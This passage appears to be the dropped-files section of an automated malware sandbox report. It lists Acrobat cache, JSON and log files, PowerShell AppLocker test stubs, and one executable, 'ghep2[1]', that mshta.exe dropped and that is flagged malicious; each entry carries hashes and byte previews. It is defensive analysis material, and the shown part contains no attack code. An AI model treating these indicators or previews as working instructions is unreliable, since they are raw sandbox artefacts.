SSDEEP:	6:YEQXJ2HXFt2V+FY7A/4Ox+FIbRI6XVW7+0YAUUoAvJf21rPeUkwRe9:YvXKXFVW7M1UYpW7/UnG+16Ukee9
MD5:	E0F45E57B0E9D468BD396C0C0B0AF75B
SHA1:	1E61692B057E831C973F14469C286DCA4835BE14
SHA-256:	D1172F13F7AF85E041018A625B97E584578B5720E8E2CBF260D5F735A01A2FEB
SHA-512:	842B1E940675E0734B008EDC8B54E03DD970D58D01A3EC2B3A291F096F388AE0E0FBD3B534647A03F43CD84B85BFBC993CB33A28367EE7CE46AB259D1A9FE1E5
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"2ac62332-ea0f-4f00-8867-ac75bedae226","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1734682860941,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.655864601085958
Encrypted:	false
SSDEEP:	24:Yv6X06Fi/UYamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSG:Yv3ceBgkDMUJUAh8cvMG
MD5:	7AB7B5ADA3F329A1FCA7297E46B4D1A5
SHA1:	50C1055E27EC421A1E7523CF4E4B34A29D4EB86F
SHA-256:	16252809F11748C4A352E01360D734A86B25D0F2DD9F62A30AA595CCA0F2FED9
SHA-512:	81087583F1517FFB3E906CA9BC90D68B23443528A4BC30B0290A1FDD45038F7183260FA57C08E61CDAF113143A1862E9DC43396069253325D99AAB429E674C59
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"2ac62332-ea0f-4f00-8867-ac75bedae226","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1734682860941,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.202036477597807
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFt2V+FY7A/4Ox+FIbRI6XVW7+0YAUUoAvJfshHHrPeUkwRe9:YvXKXFVW7M1UYpW7/UnGUUUkee9
MD5:	8991FF9FA51640F7E3AE5232BA0E3FB9
SHA1:	B3D20F0CD603BFAF4E69475067F0B2B3C15F3860
SHA-256:	7B7ABE43836BD4F55905834AE2D469C4ACE1F26CD81A626E6D9861090D337230
SHA-512:	AFE54590CD8E7DA66BE3E26D008994A9CFEC4DDC88D619695A2B78DCCDF4763CDFC2C5F816FCC1207050CCA53E7359F7083EB20FA1ABAB3D0C4462EA126508A9
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"2ac62332-ea0f-4f00-8867-ac75bedae226","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1734682860941,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.209959087707028
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFt2V+FY7A/4Ox+FIbRI6XVW7+0YAUUoAvJTqgFCrPeUkwRe9:YvXKXFVW7M1UYpW7/UnGTq16Ukee9
MD5:	A1ED34BD8A5785B0B5A95E4731F10CE5
SHA1:	2F56FE053D819D951F971D0F81D48C54FAB14BCA
SHA-256:	68A3BF8E4178E71087DF05ED3B14A22F2D256BE29E2D8C169DBCD90F3BDFC165
SHA-512:	6964F3985674C011119DEF678742AC61403122FC67BFB4F01106B0446604CEB2ACCD6562451A365659DAA4E82FC92DA1A76CB4BD1AE72FB3CF4531672E4551DC
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"2ac62332-ea0f-4f00-8867-ac75bedae226","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1734682860941,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.132594830311187
Encrypted:	false
SSDEEP:	24:YvA1vaQWFHayKswgqrnN6YwPqWzwuxjMG4j0Sne8BCz2E/2LS5CN8gbR8Ek5U/7h:YYDYTXoN1LgQ9Ix3i8G8Ti/79M0h
MD5:	452819620804BB1EA63F697581F8B3B4
SHA1:	3DCA3FE29E0E573E7EF9CBCF8E444E28867FC8BE
SHA-256:	B2B8DB1BCDF5DFE576FE89C44B52713536C7ED4EB732CF83E3BAD41DB2CEE5E2
SHA-512:	F591350A4BE4618C5A970A2022CD2008E6E160351BAB7F5ADFB8DC0545E24772340F3B1E7CAF3F62F2971D791AF75875C31C99358326AFB322E2F388425F914F
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"596fd5299c1b5cf1ca755dfc983a0d05","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1734509595000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"c8bc4500d4aebb8b962c2f03a16ac819","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1734509595000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"c4be4bce37b2eef005aafbb46655529f","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1734509595000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"155e97d759b6ec70b482e40970253e65","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1734509595000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"539fe23b096b501d721fbbf18e76ce53","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1734509595000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"e49eb8727fc3040dfcaacdc007182f2b","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 19, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 19
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	0.9846647752991913
Encrypted:	false
SSDEEP:	24:TLHRx/XYKQvGJF7urs6I1RZKHs/Ds/SpDYv4zJwtNBwtNbRZ6bRZ4yYvF:TVl2GL7ms6ggOVpDYgzutYtp6PVY9
MD5:	196E4850DCEEAA3E62BEF03B55558BA9
SHA1:	319BAEBAE04047E8B15F7FC3E12DD6CF837B1F6F
SHA-256:	F641A323BC39FC6CA62086FDC895E7FC38AA57505A6236C95C50135A43C38F23
SHA-512:	29BA3B00B01C07832F9167ED30E7ED112D6D0A12790F482ED0D088ABBB9A9697EF0E99C1DF5B8B02AC998C53ADAD6DC1F8668023084AF3CADD3AE0063BA24BD7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.339152947036606
Encrypted:	false
SSDEEP:	24:7+tYAD1RZKHs/Ds/SpDYvPzJwtNBwtNbRZ6bRZWf1RZKEqLBx/XYKQvGJF7ursX:7MYGgOVpDYHzutYtp6PMJqll2GL7msX
MD5:	9BA5316AF917988CCB58490A640F2491
SHA1:	C46FA9AD582BBFDE3C31BA2B18CA0B91B042D000
SHA-256:	A0829B6870CC781F2C383B34F91089E5D9132D502646400C5329CB196FEB1C02
SHA-512:	09FB04AF7DE497CEEB2519B2F5394D38F2F261163B064A6D28D75D6985BDAC9F24D2D9218544F1A341D798857F9B2DC19AD3ADC8A0CCFB0EF01437B52ABCAE14
Malicious:	false
Preview:	.... .c........K......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................j...#..#.#.#.#.#.#.#.#.7.7........................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEg6eZ8/ZglGv5MlAZ36ldSWEzYckYyu:6a6TZ44ADE6eZ8glGv0vEzYHK
MD5:	30481C3B25BCA8F31D113A8FE31931D4
SHA1:	61DB009BBF83A44BDA33AFC766043C145FA84B08
SHA-256:	4314DBBE746BF16B19177F61219DC70E5F8C1E78E6DB577D19BF311478A05DB8
SHA-512:	0AE55DA2B7A572868E6E31DB7843BCDF97306083F32F13129CC1EEED6B4B788FF1A6F2A67B92004B363BA401DC132BB0131A8C97B4F857574389178904435951
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\ghep2[1]

Download File

Process:	C:\Windows\System32\mshta.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	78114
Entropy (8bit):	4.994794569777259
Encrypted:	false
SSDEEP:	768:fsnZcnsXsnZcnsWxojUsnZcnsGCsnZcns:EZcbZcvxoRZcLZc
MD5:	7F1392C63A92E5F06FA6F9F95F103CD9
SHA1:	26D5CD231FC46C96B71DFBF4D08768C38399F027
SHA-256:	22B77AC7A5ABC7DF6BC21C1411121242E0A9F7179EF5DBBDDCE745AE04A13E21
SHA-512:	089EA813ED8E4F5CFD854D06D6EBA66BEC924F74B29329B95FF46D0C875CD05EA6BAADFBB71C79FF5E6DCE112D2A7AC90EA6BE17F39454281DF06B83D5FD1A9F
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 55%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........W..W..W..C...V..C...U..C...C..C...P..W..s..C...V..C.\|.V..C...V..RichW..........................PE..L...C.05............................@........ ....@..........................`......._....@...... ...........................0..P....@.......................P..@.......T............................................0...............................text...t........................... ..`.data...p.... ......................@....idata.......0......................@..@.rsrc........@......................@..@.reloc..@....P.......&..............@..B........................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	0.34726597513537405
Encrypted:	false
SSDEEP:	3:Nlll:Nll
MD5:	446DD1CF97EABA21CF14D03AEBC79F27
SHA1:	36E4CC7367E0C7B40F4A8ACE272941EA46373799
SHA-256:	A7DE5177C68A64BD48B36D49E2853799F4EBCFA8E4761F7CC472F333DC5F65CF
SHA-512:	A6D754709F30B122112AE30E5AB22486393C5021D33DA4D1304C061863D2E1E79E8AEB029CAE61261BB77D0E7BECD53A7B0106D6EA4368B4C302464E3D941CF7
Malicious:	false
Preview:	@...e...........................................................

C:\Users\user\AppData\Local\Temp\MSI379e1.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.51161293806784
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8sKDg7:Qw946cPbiOxDlbYnuRKSE7
MD5:	664818485FA149DEB73B771C22D621EF
SHA1:	7C5FE102E408EFFA20FEC670F61E9D18FE20F964
SHA-256:	82F261AFB5CE3060723DB37A34A1798FB09582A6C54522D8429E9DACD3493E38
SHA-512:	313CBE8BEE20CE2AD61E752AB28803B086A1E32A1FD2DCB3336B264CC83E294BB6B78C7DF9E69C935103646EFDE52DEDC12BC2BE3ABCA98F0554E038898779E0
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.8./.1.2./.2.0.2.4. . .0.3.:.1.3.:.1.7. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_e2kesxvr.fgr.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_m1vjuef5.gwl.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_m3tqnw4p.p2n.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_r4k0fwci.oty.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_rkddo5n2.2vu.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ts0zibve.xyv.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_xru3i0gj.fdn.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_yjuzjvgm.tlv.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2024-12-18 03-13-07-116.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.376360055978702
Encrypted:	false
SSDEEP:	384:6b1sdmfenwop+WP21h2RPjRNg7JjO2on6oU6CyuJw1oaNIIu9EMuJuF6MKK9g9JQ:vIn
MD5:	1336667A75083BF81E2632FABAA88B67
SHA1:	46E40800B27D95DAED0DBB830E0D0BA85C031D40
SHA-256:	F81B7C83E0B979F04D3763B4F88CD05BC8FBB2F441EBFAB75826793B869F75D1
SHA-512:	D039D8650CF7B149799D42C7415CBF94D4A0A4BF389B615EF7D1B427BC51727D3441AA37D8C178E7E7E89D69C95666EB14C31B56CDFBD3937E4581A31A69081A
Malicious:	false
Preview:	SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:961+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.385228036583042
Encrypted:	false
SSDEEP:	384:UfgTg6gjgjgOgMMg6g1g1gAvgigLNf/g3BV4Q7wcRG2oAgvgHTRJ5FpBLB3SDkMa:5Gb
MD5:	4A5154176CA09016D9B066DECFD1C00A
SHA1:	60B65CD97CD6AE9862E32B7FB5F80E3B1D62AC89
SHA-256:	C635A9D1F97E49C3590C6362734FBAEB7ECE0F63FE495A70075EB3B8603104DA
SHA-512:	02DCDAE9D850131C8450900EC1316EF785B30EFDE0130B517EB25F20855B07641851A09DB28D752464C76EE5DB9B484C26BD045B82CEE837BC584CBC85D6CCAD
Malicious:	false
Preview:	SessionID=0f6617b9-a70f-4f41-8f35-a854d06c6fbf.1734509587227 Timestamp=2024-12-18T03:13:07:227-0500 ThreadID=7684 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=0f6617b9-a70f-4f41-8f35-a854d06c6fbf.1734509587227 Timestamp=2024-12-18T03:13:07:229-0500 ThreadID=7684 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=0f6617b9-a70f-4f41-8f35-a854d06c6fbf.1734509587227 Timestamp=2024-12-18T03:13:07:229-0500 ThreadID=7684 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=0f6617b9-a70f-4f41-8f35-a854d06c6fbf.1734509587227 Timestamp=2024-12-18T03:13:07:229-0500 ThreadID=7684 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=0f6617b9-a70f-4f41-8f35-a854d06c6fbf.1734509587227 Timestamp=2024-12-18T03:13:07:229-0500 ThreadID=7684 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.39863434600666
Encrypted:	false
SSDEEP:	768:GLxxlyVUFcAzWL8VWL1ANSFld5YjMWLvJ8Uy++NSXl3WLd5WLrbhhVClkVMwDGb3:j
MD5:	B36DE20FA1A860170F6D4747603EEC0E
SHA1:	2A1619E46965BF592D21B08538136A94B5DB4699
SHA-256:	CEA2F0D9D01B37658C335E16DD266CD3F71EC856B6A86503578D0639D9BD1798
SHA-512:	EB0DA9C7D1D8C174FC44074316DA7CAEEF92B71C74069405715D0E943B0EE5C9EDA1A258E0CD6BE3F43C0ED45D8DAC5732247483DAB7DD401F7BDCA6F7C1E1F7
Malicious:	false
Preview:	04-10-2023 02:39:31:.---2---..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : *************************************..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : ***********************************..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : Starting NGL..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..04-10-2023 02:39:31:.Closing File..04-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\4bd99181-d628-410c-96f4-00b743a0ce8c.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
